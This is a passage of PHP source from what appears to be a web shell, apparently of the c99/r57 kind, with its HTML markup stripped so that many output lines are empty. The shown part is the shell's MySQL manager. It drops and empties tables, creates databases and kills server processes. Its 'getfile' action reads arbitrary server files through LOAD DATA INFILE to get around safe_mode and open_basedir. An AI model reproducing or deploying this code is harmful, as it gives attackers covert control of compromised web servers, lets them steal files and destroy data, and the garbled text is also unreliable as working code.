else {echo " ";} } if ($i == 0) {echo "empty";} echo "From: To: "; echo ""; echo ""; echo ""; for ($i=0;$i"; if (empty($e[0])) {$e[0] = "a";} if ($e[1] != $v) {echo "".$v."";} else {echo "".$v."[sort]";} echo ""; } echo "Action"; echo ""; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo ""; $w = ""; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo ""; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == "") {$v = "NULL";} echo "".$v.""; $i++; } echo ""; echo "[Delete] "; echo "[Edit] "; echo ""; echo ""; } mysql_free_result($result); echo "^"; echo "With selected:"; echo "Delete"; echo " "; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo ""; $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row["Data_length"]; $trows += $row["Rows"]; $size = view_size($row["Data_length"]); echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; $i++; } echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo "TableRowsTypeCreatedModifiedSizeAction ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." [Empty] [Drop] [Insert] ".$i." table(s)".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."^"; echo "With selected:"; echo "Drop"; echo "Empty"; echo "Dump"; echo "Check table"; echo "Optimize table"; echo "Repair table"; echo "Analyze table"; echo " "; mysql_free_result($result); } } } } } else { $acts = array("","newdb","serverstatus","servervars","processes","getfile"); if (in_array($sql_act,$acts)) {?>Create new DB:View File:"; if ($sql_act == "newdb") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!";} else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".Reason: ".mysql_smarterror();} } if ($sql_act == "serverstatus") { $result = mysql_query("SHOW STATUS", $sql_sock); echo "Server-status variables:"; echo "NameValue"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]."".$row[1]."";} echo ""; mysql_free_result($result); } if ($sql_act == "servervars") { $result = mysql_query("SHOW VARIABLES", $sql_sock); echo "Server variables:"; echo "NameValue"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]."".$row[1]."";} echo ""; mysql_free_result($result); } if ($sql_act == "processes") { if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen.";} $result = mysql_query("SHOW PROCESSLIST", $sql_sock); echo "Processes:"; echo "IDUSERHOSTDBCOMMANDTIMESTATEINFOAction"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill";} echo ""; mysql_free_result($result); } if ($sql_act == "getfile") { $tmpdb = $sql_login."_tmpdb"; $select = mysql_select_db($tmpdb); if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} if ($select) { $created = FALSE; mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $result = mysql_query("SELECT * FROM tmp_file;"); if (!$result) {echo "Error in reading file (permision denied)!";} else { for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!";} else {echo "File \"".$sql_getfile."\":".nl2br(htmlspecialchars($f))."";} mysql_free_result($result); mysql_query("DROP TABLE tmp_file;"); } } mysql_drop_db($tmpdb); //comment it if you want to leave database } } } } echo ""; if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} echo "Affected rows: ".$affected.""; } echo "";}if ($act == "mkdir"){ if ($mkdir != $d) { if